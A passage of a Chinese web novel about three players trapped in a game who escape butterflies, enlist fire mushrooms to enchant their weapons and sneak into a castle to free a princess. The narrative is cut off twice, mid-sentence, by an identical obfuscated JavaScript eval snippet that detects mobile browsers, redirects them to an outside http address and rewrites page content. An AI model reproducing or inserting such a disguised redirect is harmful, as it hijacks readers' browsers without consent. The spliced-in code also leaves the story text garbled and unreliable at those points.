舒司鸢放轻呼吸,一只手变了颗火球出来捧在手心里,试探着往前一递。另一只手则伸进草堆里,悄悄用匕首割草。 火焰卷过蝴蝶的绒毛,它后退几步,却仍然守着她。 这算是一次有效攻击,因此火球燎到蝴蝶之后就消失了。 水草被她用匕首割了几下,也显出了上方的血条——比那条巨蟒还要厚,舒司鸢收回匕首放弃了。 舒司鸢在等火焰勇者的冷却时间过去,她打算先用火球短暂阻止蝴蝶靠近她。 蓝紫色蝴蝶却先一步动了。 那对足触碰到她的前一秒,舒司鸢下意识往后一躺躲开了。 舒司鸢一头扎进草堆里,冰凉的溪水淹没她的口鼻。草叶的缝隙中可以窥见上方颤动的蓝紫色色块,是那只蝴蝶仍在不甘心地寻找她。 她进入草堆之后,水草放开了她,任凭她在溪水中漂浮。 舒司鸢扑腾到岸边,试图找时机上岸。 然而她弄出的动静太大,导致她上面的水草上站满了不同颜色的蝴蝶,都是被吸引来的。 照这架势,她要么出去被蝴蝶围攻至死,要么在水里憋不住呼吸溺水了。 她忽然一愣,等等,她现在是游戏人物,除了被丧尸打死之外,好像没有憋死这种死法? 可是走水路根本行不通,眼前的水草缠绕成一团,还没走到一半估计天就黑了,届时会面临水草、蝴蝶和丧尸的三方围堵。 更何况还有莘曼和卫真。舒司鸢潜入水中前的最后一眼,看到她俩被蝴蝶叼起来抓走了。 她赶紧打开队伍私聊频道:【你们还好吧?】 莘曼:【谢谢关心,人在土坑】 莘曼:【你是不是在水里?要不你还是出来吧,我们这边至少还有个头能露出来】 看上去没什么大事,还能跟她贫呢。 舒司鸢谢绝了莘曼的邀请,打定主意扎根在小溪里。 她丢了颗火球上去,蝴蝶群扇着翅膀飞离。舒司鸢探出水面找队友。水草察觉到她离开,又像根带子似的绕住她。 莘曼在对岸对她晃了晃脑袋,算是打招呼。 火球不知砸中了哪只倒霉蝶后消失了,蝴蝶去而复返,舒司鸢赶忙重新入水,扑腾到对岸去。 水波在她身前荡漾开,推到水草跟前被拦住。 舒司鸢的思绪随水纹远去,却没被水草拦住。她抬头望了望水草为她织就的绿色牢笼,感觉自己像是变成了一条鱼。 在这里,水草为她提供的不是氧气,而是一层隔绝蝴蝶的屏障。 那么她能为水草提供什么? 舒司鸢划水的动作停滞一秒。活着的时候不行,但等她死了,她就是水草的养料。 蝴蝶把莘曼和卫真埋在土里,也是为了让那些花朵在吸收掉她们后长得更健壮。 只不过她们是土培植物的养料,而她是水培植物的养料。 所以,蝴蝶不为水草将养料们赶入水中,水草也并不为蝴蝶打造可供其在水面停靠的平台,它们反而是竞争关系。 比如花丢进溪水里会失去迷惑的效果,比如她想离开溪流水草就会缠住她。 舒司鸢从水里站起来了。 旁边的几只蝴蝶马上扑棱着翅膀飞过来,几对足抱着她的手臂就往天上飞。 蝴蝶的翅膀在原地扇出一阵小型龙卷风,却没能拉动她。 蝴蝶呆呆地转过身来,咬住舒司鸢肩膀一侧的衣物,开始和同伴一起用力将她向上拔。 舒司鸢也在努力自救,她把匕首换成了一把大刀,劈在水草上斩断它们。 莘曼:【它们怎么为了你打起来了?】 舒司鸢是在空中看完这条消息的,她倒着转了一圈,等到了莘曼的第二条消息。 莘曼:【而且不知道是不是你飞得太高,离我太远,我怎么感觉你变小了?】 卫真:【你没看错,确实变小了。因为我看你也比之前缩小了】 聊天到此为止。舒司鸢看到莘曼转过脑袋去和卫真说话。她们是邻坑的萝卜,面对面说话比打字聊天更高效。 她也看到了莘曼旁边的第三个坑,有两只蝴蝶还在刨土。新鲜现挖,是给她准备的。 舒司鸢:【莘曼,冻住我的左手】 她掐在落地之前发送完这句话,便伸手抓住蝴蝶的翅膀。与此同时,莘曼的冰块也送到了。 骤然多出一块冰的重量,蝴蝶们被拉着向下坠落,那只被冻住翅膀的蝴蝶和她一起摔在地上。 舒司鸢的手也碰到了离岸边最近的莘曼。 眼前跳出“解除”两个字,她立刻点击,莘曼身边的土一下子消失,她从坑里爬出来,顺手解救了卫真。 一只蝴蝶俯冲到莘曼身后,舒司鸢一箭将其钉在花的根茎上。 “快进去!”她矮身躲开蝴蝶,冲进了花丛中。 花茎之间的距离相当近,大型的蝴蝶飞不进来,只有那些小一点的才可以,但体型小的蝴蝶需要联合好几只其他蝴蝶才能把她们拉起来飞出花丛。 这也是为什么蝴蝶会把养料埋在岸边,而不是花丛中。 舒司鸢猜是因为谁抓的养料被花朵吸收后,谁就可以变得更大,但小蝴蝶根本抢不过大蝴蝶。 进了花丛之后,就好办多了。小蝴蝶在飞行时需要躲避花茎,但她们奔跑时有充分的反应时间绕开花茎。 舒司鸢带着几只蝴蝶冲到一株花前,随后猛地向右急转弯。蝴蝶闪躲不及,纷纷撞在根茎上。 莘曼皱着眉跑到她身边,抬手将两只蝴蝶和花茎冻在一起,拦住了后面扑来的蝴蝶。 莘曼望着一望无际的花丛,问道:“你看我是不是真的变小了?” 舒司鸢点了点头,把自己的推测和她说了。 “那还能变回来吗?”莘曼担忧地问。 舒司鸢:“没有变太小就好,而且生命值也没有受到影响。” 虽然生命值没有减少,但变太小了会影响她们的行动速度。好比小孩和大人的步距有所差别,相同步数下,后者总比前者走得更远。 波点蘑菇在她们谈话时突然出现在前方,见她们过来,立刻跟着跑起来。 莘曼捏着它的伞帽,把蘑菇甩出去,撞翻了后面追赶来的蝴蝶群。 “它刚才踩着我的脑袋就丢下我们跑了,”莘曼咬着牙解释道,“叫它也不搭理。” 波点蘑菇在地上滚了两圈,又顽强地跟上她们。 舒司鸢收回视线。好了,现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16478802|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她知道莘曼到底有没有被蘑菇影响到了。 在连续十几支箭射穿蝴蝶之后,追在她们身后的蝴蝶数量锐减,大部分都从花丛中飞了出去等待着新的猎物,少部分倔种还在追。 最后一只蝴蝶停下时,花海的尽头也到了。 连接花海的又是一片树林,这一次却有所不同。树林中央被清理出一块空地,最外围是一圈燃烧着的火。火圈内是树叶搭成的小帐篷,好几座树叶房子围着一块石板矗立着。 波点蘑菇不怕火烤,一蹦一跳地跨过火圈:“啵。” 小树房里走出好几只蘑菇,皆是红色波点的花色。看到波点蘑菇,立马扭过来站在它身边。 耳边响起一串“啵啵”声,舒司鸢跟着走近,她的身体没入火焰中,生命值却没有被扣除。她去看了看石板,上面画着蘑菇图案,两侧各画着一把火。 她好像有点懂为什么看到波点蘑菇会觉得亲近了,原来大家都是火系的。 波点蘑菇已经和它的蘑菇伙伴们转着圈跳起了舞,有点像吃了菌子后才会出现的幻境。 波点蘑菇跳完舞,走到舒司鸢旁边,又和蘑菇们“啵”了一阵。 不知道它们说了些什么,波点蘑菇还上嘴咬了她一下。 舒司鸢弯腰把自己的裤子扯回来,起身发现蘑菇们已经谈妥了,豆豆眼全都齐刷刷盯着她看。 舒司鸢不懂蘑菇们这是什么意思,但她看着眼前数量众多的蘑菇,和它们头顶相同的白色波点,忽然之间冒出一个好主意。 她把波点蘑菇抓起来,招呼莘曼和卫真把所有武器都取出来,倒在蘑菇们面前,然后扬了扬手里的那一只蘑菇,拿着把匕首指着它。 她的意思很好懂,蘑菇们集体震惊地乱“啵”一通,无奈地乖乖排队给武器附魔。 舒司鸢还试验了武器能不能二次附魔,发现不行后就在一旁耐心等着蘑菇们施加魔法。 确认全部武器都附上魔法之后,舒司鸢把波点蘑菇放到地上,拍了拍它的脑袋,收好锤子走了。 波点蘑菇又咬住她的裤子。 这回她看懂了。意思是天快黑了,但这里很安全,让她们留下来躲开丧尸。 舒司鸢摇头,比起安全度过一晚,她们更需要丧尸来升级。 波点蘑菇到家了,留在火圈里目送她们离去。 赶在天黑之前,她们到达了第三个小镇。 根据地图显示,宫殿就在小镇的中央。或许是因为宫殿建立在这里,第三个小镇的发展水平明显高于前两个小镇。 整洁的洋房取代了茂密的雨林,大片墨绿的爬山虎铺满奶油般的墙壁,铁栅栏中伸出几朵玫红色的蔷薇,花瓣掉落在橘色地砖上。 舒司鸢一冒头就藏了起来。 她一进小镇,就看见了正对面的墙壁上贴上了她的通缉令。而且这一个小镇的护卫兵似乎接到了上一个小镇护卫兵的消息,正在街道上巡逻。 还是老规矩,她们随机挑选了一幢幸运房屋,挨过了这一晚的丧尸攻击和护卫兵搜查。 房屋主人是一对年迈的老夫妻,为了阻止她们呼救喊来护卫兵,舒司鸢又把她们打晕关入了卫生间。 天亮以后,连升好几级的她们向着最终的宫殿出发。 舒司鸢觉得护卫兵既然需要贴出照片,便证明居民们只能靠脸才能认出她们。正好那对夫妻中的老爷爷是个光头,因此家里有着好几顶假发。 戴着灰色卷发的舒司鸢旁若无人地走在街上,偏过脸路过一队护卫兵,随手撕下了通缉令丢在地上。 28. 适量游戏,健康人生9 通缉令上她们的罪名又多了一项——抢劫。 估计是锻造店老板举报的。 舒司鸢把假发往前拽了拽,挡住了额头。 水湖之旅里的人物全都顶着一张像素脸,仅靠简单的变装就足够迷惑护卫兵与镇民。况且第三个小镇里的人根本就没见过她们本人,找人的依据只有通缉令上的画像。 三人特意分开前进,穿过广场之后,前方就是水湖国的宫殿。 宫殿是一幢蓝白的城堡,城堡前护卫兵的数量大量增加,正门处站着两列长队。绕着城堡转圈巡逻的护卫兵更多,后一队离前一队只隔着几米,守卫森严到完全没有靠近的可能。 舒司鸢驻足在一家面包店的橱窗前,装作挑选的样子,实际上注意力都在护卫兵身上,内心思索着潜入城堡的办法。 电话图标闪了一下,她点开来。 卫真:【要不我们还是去把牢坐完吧,起码不用被护卫兵盯了】 莘曼:【就算我们是清白的平民,也照样进不去公主的城堡吧】 卫真:【非通缉状态的话可以直接进去,反正只有玩家才会进入城堡】 卫真:【抓到后被关在监牢的时间是半个小时】 舒司鸢的目光停留在莘曼的那句话上,思绪随着面包散发出来的香甜气息一同弥漫开来。 既然有公主的话,那么国王又在哪里呢? 护卫兵知道自己在守卫公主的同时,也一并保护了丧尸王的安全吗? 可以让护卫兵协助她们解救公主吗? 舒司鸢晃了晃脑袋,把无关紧要的想法都甩出去。眼前透明的玻璃上倒映出她的动作,脸颊旁垂落的卷发跟着晃动。 这只是一款游戏。 依托于游戏背景诞生出来的“域”,固然有魔幻元素可以加大难度,但它的弊端也在这里。 哪怕它变成了“域”,通关方法也已经给出来了。 求助护卫兵这条路很大概率是行不通的。因为在游戏里,玩家与NPC本就是无法沟通的,她们真身穿进游戏里了也是一样。 就算真的想试一下,也要等确定真的无法进入城堡之后再试。 一张圆脸骤然出现在橱窗后。 穿着橙黄色围裙的店员叉着腰问她:“你到底买不买?” 舒司鸢走到了隔壁一家花店,问卫真有没有避开护卫兵进入城堡的方法。 半个小时她在现实里等得起,但“域”中的规则说不定发生了变化,万一是被关半个月呢。 卫真:【没有。玩家最多也就等半个小时就能进去了】 莘曼:【通风管道或者狗洞之类的也没有吗?】 舒司鸢瞥了一眼正在和卖桃子的摊主讲价的莘曼。她忽然有点好奇卫真给莘曼开的是什么价了,都能让她甘心主动到处乱爬了。 卫真:【也没有】 舒司鸢:【从空中能走吗?】 魔法飞毯虽然已经破了一个拳头大小的洞,但还能用。 卫真当即明白了她的意思,抬头看了看城堡,他确实在城堡中央偏上的位置设计了一处可供瞭望的露天平台。 这一眼却让他发现了不对劲的地方。 卫真:【有可以降落的地点。但房间都只能从里面打开,不知道旁边的窗户能不能打破】 卫真:【还有一点,城堡上面本来应该也有巡逻的护卫兵的,现在都不见了】 这好猜,估计是被丧尸王干掉了。 舒司鸢走进一条无人的小巷,让莘曼和卫真来这里集合,用飞毯一起进入城堡。 几分钟之后,一张毛毯摇摇晃晃地升起来。 “等等等等等……你们别动,我要坐到边上去,”莘曼边嚷边紧紧抓着毛毯的流苏,“不行,太边了,我再回来一点。” 不止是她,舒司鸢和卫真都在调整坐位。 飞毯的破洞又扩大了,一不留神就会从洞里刺溜下去。 “直接飞到最高吧。”舒司鸢说道,观察着城堡上降落地点的高度。 还差一点,但问题不大。 莘曼娴熟地控制着方向与高度:“我是时候去考个直升机驾驶证了。” 舒司鸢张了张嘴,高处的冷风灌进她的嘴里,她又闭上了。 还是坐稳吧,掉下去虽然摔不死,但下面可是一群护卫兵,随便一队都能把她压死。 飞毯驶离小巷,已经有眼尖的护卫兵发现了她们,拿剑指着她们大叫。 飞毯靠近城堡的石壁,墙壁的高度只到胸口。舒司鸢的手撑在被磨的平坦光滑的石块上,利落地翻身越过。 她蓦然和一双眼珠分外突出的眼睛对上。 眼睛的主人正是她曾杀了好几个晚上的丧尸,此刻正阳躺在地上,被她踩在脚下。 再望过去,地上铺满了躺倒的丧尸,身上都穿着护卫兵的服装。 好有创新意义的地毯。 好在由护卫兵转化而来的丧尸都是普通版本的,而且数量不多,真要动手她们也能撑过去。 莘曼最后一个爬上来,她收起飞毯,瞧见满地的丧尸不免吃惊道:“这是干什么啊……” 卫真皱起眉,他不记得自己有设计过类似的设定,却又不能完全否定。记忆成了一团乱麻,仿佛被一层布蒙起来了。 舒司鸢踩着丧尸的小腿过去,这样丧尸的手就够不到她。 还不到晚上,护卫兵丧尸尚不能起身,但手已经可以动了,不小心被抓到会扣生命值。 这些丧尸在白天也可以出现,是因为它们离丧尸王近吗?还是新的变异种类? 舒司鸢一锤子敲在玻璃上。 都走到这里了,变不变的都不重要了,现在重要的是在夜晚到来之前抓紧时间进入城堡内部。 否则她们在外面和这些丧尸缠斗,说不定会引来丧尸王的注意。 窗户颤动几下,一丝裂纹也未出现。 “我看到那些护卫兵上来了,”莘曼说道,“也许可以等她们来给我们开门?” 舒司鸢摇头:“如果她们被丧失王拦住了呢?如果我们直接被护卫兵从城堡中抓走了呢?” 她们最好还是自己行动。 莘曼点头:“也对。” 话虽如此,但窗户根本打不破。房间内的景象被深灰色的窗帘挡住,看不到里面有什么。 她们所在的位置超出了飞毯的高度限制,飞毯也处于失效状态,变成了灰色且不可使用。 “在她们身上找一下钥匙吧。”舒司鸢说道,她自己则踩过一双双小腿,在露台上绕了一圈。 露台是环状的,除了她们见到的第一个房间之外,还有几个房间,但窗户都被窗帘遮盖得严严实实。 她一圈走完回到原地,在护卫兵领队身上没找到钥匙的莘曼和卫真已经在试着用一根铁丝撬锁了。 旁边掉了一顶帽子,应该是那根用来固定帽子形状的铁丝被抽出来了。 “咔哒”一声,门开了。 莘曼难以置信地把铁丝收回来,喃喃道:“我上辈子不会真是个罪犯吧……” 舒司鸢也觉得有点奇怪,她直觉不会有那么简单。 但为了通关,她们也只能硬着头皮进去了。 这是一间空旷的房间,里面只摆放着几件家具——一张靠近左面墙壁的红木长桌,围着它的几把椅子,背后的柜子里整齐地摆放着分类清晰的文件夹。桌子对面的墙上挂着一幅巨大的水湖国地图,地图前是一套更简易的桌椅。 舒司鸢穿过房间,走到门前,将门轻轻推开一条缝。 城堡内部也是环形的布局,中央是空心的,在栏杆处向下望去,可以直直望到一楼。门外的走廊上空无一人,对面的房门紧闭,洁净的地面泛着柔白的光。 她转过头问卫真:“你还记得公主被关在哪里吗?” “在她自己的房间里,”卫真说道,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16498084|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来带路。” 舒司鸢让出位置。 卫真带着她们往下走了两楼,一路上都没遇见一个人。 “那一间就是,”卫真站在楼梯口,伸出手指了一下一扇纯白色的门,“公主在白天有不能出房间的禁制,所以不会有人看着她。” “唯一会有人来的时候,就是有人给她送饭,或者她自己摇铃喊人。” 听上去还是她们更辛苦一些。 舒司鸢问:“晚上就能出来了吗?” 卫真:“对,晚上就是她破解城堡中陷阱的时机,不过和城堡外一样,这里晚上也会有丧尸游荡。” “这一路上也没碰到陷阱啊?”莘曼四处张望一下。 卫真有些心虚:“因为玩家都是从一楼上来到公主房间的,所以公主房间上面的楼层就没有设计陷阱。” 莘曼回以赞许:“真不错。那么这一层有什么机关呢?” “是会随机消失的地砖。”卫真说。毕竟是公主所在的这一层楼,他当然会有印象。 莘曼立刻说道:“那可以用飞毯了。” “用不了。”舒司鸢说道。她刚才就想拿出来,飞毯却仍旧处于无法使用的状态。 卫真解释说:“飞毯除了有高度限制,另外在一些特殊楼层也是不能使用的,这一层就是。” “那我们只能玩扫雷了。”莘曼失望地说。 舒司鸢低头注视着方块地面:“这个随机消失是需要我们站上去才会消失吗?是完全随机的吗?” 卫真:“是,检测到生命体就会启动。规律是在一块地砖消失后,五秒内不会有其他地砖消失,公主房间门前的那块地砖一定会消失。消失的地砖会在一分钟后重新出现,重新出现后会消失的概率仍旧随机。” 他顿了顿,像是想起来什么似的,补充道:“掉下去会到一楼,不扣生命值,但一楼有丧尸王在。” 舒司鸢再次提问:“那我半个人过去,你们在旁边拉住我呢?” 她感觉卫真像是个时灵时不灵的通关攻略,大部分时候需要她主动戳戳才会回答,或许是被“域”干扰了记忆。 卫真犹豫着说:“在游戏里是不可行的,但我们穿进游戏人物里后,可操作空间比单独操控游戏人物大得多。具体可不可以我也不知道。” 这就是说,原本在游戏中的话,由玩家操控的角色只有前进或者后退的选项,没有前进半步的走法。 但她们现在是真人进入游戏,什么事都能尝试一下。 舒司鸢说干就干,莘曼和卫真还没反应过来,她已经踩上了楼梯前的第一块地砖,身体的重心仍在后面。 然后她让莘曼拉住她,慢慢把身体的重量全部挪了过去。 地砖没有消失,因此判断不出这个方法到底有没有用。 总之第一块地砖确认是安全的,莘曼没有放开拉着她的手,也小心地踩了上去。 “我来吧。”卫真说道,试图越过舒司鸢走到下一块地砖。 “等一下。”舒司鸢拦住了他,她忽然想到一个问题。 连续几晚都高强度地处于和丧尸的搏斗中,她差点忘了之所以进入此“域”的根本目的。 舒司鸢:“如果你掉下去后遇到丧失王死了,那我和莘曼帮你通关这一个和接下去第二个游戏的话,也算你通关吗?” 她们进来,首要目标是为了帮卫真得到一周的休息期,更进一步的目标是帮他彻底结束每晚都会穿进游戏的噩梦。 要是他死了,那该怎么算? “对哦,”莘曼说道,“以防万一,你还是最后一个死吧。” “还是我继续试下去,”舒司鸢放开拉住卫真的手,对莘曼说,“可以用冰块把我们的手冻一起。” 她看向面前的地砖:“如果用技能也抓不住我的话,你就坚持十秒,让我掉下去。” 一连两次都是安全的,她强烈预感下一次地砖就要消失了。